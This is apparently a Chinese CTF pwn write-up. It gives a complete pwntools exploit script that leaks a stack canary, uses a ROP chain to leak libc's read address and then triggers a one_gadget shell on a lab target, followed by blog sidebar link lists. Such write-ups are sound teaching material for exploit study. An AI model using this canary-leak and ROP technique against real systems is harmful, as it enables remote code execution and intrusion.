程序基本信息

   64位动态链接程序,开启了栈溢出和数据段不可执行保护

程序漏洞

   read函数很明显的栈溢出漏洞

整体思路

   由于题目给了libc,我们可以使用one_gadget获得gadget在libc中的偏移,通过泄露其他函数库的偏移计算gadget在内存中的位置。由于程序中有栈溢出保护,我们可以利用功能2,功能2的作用是puts打印我们输入的字符串,我们可以利用功能2将canary泄露出来,这样我们就可以进行栈溢出了,后面的步骤就简单了,利用rop技术即可pwn掉程序。

exp脚本

#!/usr/bin/python
#coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'amd64') io = remote('172.17.0.2', 10001) pop_rdi = 0x400ea3 #pop rdi;ret
puts_plt = 0x4008d0 #puts函数plt表地址
read_got = 0x602030 #read函数got表地址
start = 0x4009a0 #start函数首地址 io.sendline('1')
io.send('A'*164+'ABCDE') #在选项1中输入168个padding字符到达canary。由于canary最后两位恒为\x00防止意外泄露,因此需要多一个字符覆盖掉\x00,使得canary可被字符串输出函数输出。
sleep(0.5)
io.sendline('2')
io.recvuntil('ABCDE')
canary = u64('\x00'+io.recv(7)) #给canary补上\x00,把被字符'B'覆盖掉的\x00恢复回来,注意是大端序。
log.info("Leak canary = %#x" %(canary)) payload = ""
payload += "A"*168 #padding
payload += p64(canary) #在canary应该在的位置上写canary
payload += "B"*8 #覆盖rbp
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(start) #调用puts输出read在内存中的地址,然后回到start重新开始 io.recv()
io.sendline('1')
io.send(payload)
io.recv()
io.sendline('3') #通过选项3退出循环,从而触发栈溢出,泄露read在内存中的地址
io.recvuntil('TIME TO MINE MIENRALS...\n')
read_addr = u64(io.recv()[:6]+"\x00\x00") #u64()的参数必须是长度为8的字符串,手动补齐
log.info("Leak read addr = %#x" %(read_addr))
one_gadget_addr = read_addr - 0xf8880 + 0x45526 #计算one_gadget的地址,0xf8880跟0x45526分别为read跟gadget距离libc头部的偏移 io.sendline('1')
payload = ""
payload += "A"*168
payload += p64(canary) #在canary应该在的位置上写canary
payload += "B"*8 #覆盖rbp
payload += p64(one_gadget_addr) #栈溢出触发one gadget RCE
io.send(payload)
io.recv()
io.sendline('3') #退出main程序触发栈溢出
io.recv()
io.interactive()

内容参考

Linux pwn入门教程(9)

最新文章

  1. myeclipse eclipse 使用git插件访问github 的解决方案
  2. windows7 编译boost1.54
  3. django复习笔记3:实战
  4. 分享Kali Linux 2016.2第49周镜像文件
  5. E: dpkg 被中断,您必须手工运行 sudo dpkg --configure -a 解决此问题。
  6. POJ3493 Largest Submatrix of All 1’s(单调栈)
  7. Web API 2 authentication with JWT
  8. Windows的同步I/O和异步I/O
  9. MyBaits 错误分析
  10. 学号:201621123032 《Java程序设计》第2周学习总结
  11. 配置GO开发环境
  12. 2018最新iOS端界面UI设计规范整理
  13. DWARF 中的 Debug Info 格式
  14. 服务器运维 -- windows系统更换System32下文件后 重启无法进入桌面
  15. yo install generator-gulp-react遇到UNMET PEER DEPENDENCY问题
  16. 底层代码创建GUI
  17. [转].Net实现本地化简易教程
  18. 9-4 Unidirectional TSP uva116 (DP)
  19. C#使用反射加载多个程序集
  20. CentOS 6.5 下MySql主从、主主配置

热门文章

  1. Java 之 字符输入流[Reader]
  2. stm32和cortex M3学习内核简单总结
  3. 基于SpringBoot的多模块项目引入其他模块时@Autowired无法注入其他模块stereotype注解类对象的问题解决
  4. Oracle GoldenGate(ogg)安装经验大汇总,采坑总结,绝对干货!
  5. java.lang.NoClassDefFoundError: Could not initialize class xxx
  6. linux 的GUNB修复问题
  7. git命令——revert、reset
  8. microsoft office 2007 在已经安装pdf maker的情况下另存为没有adobe pdf选项
  9. Django:CSRF(Cross-request forgery)跨站请求伪造
  10. lvs+keepalived集群架构服务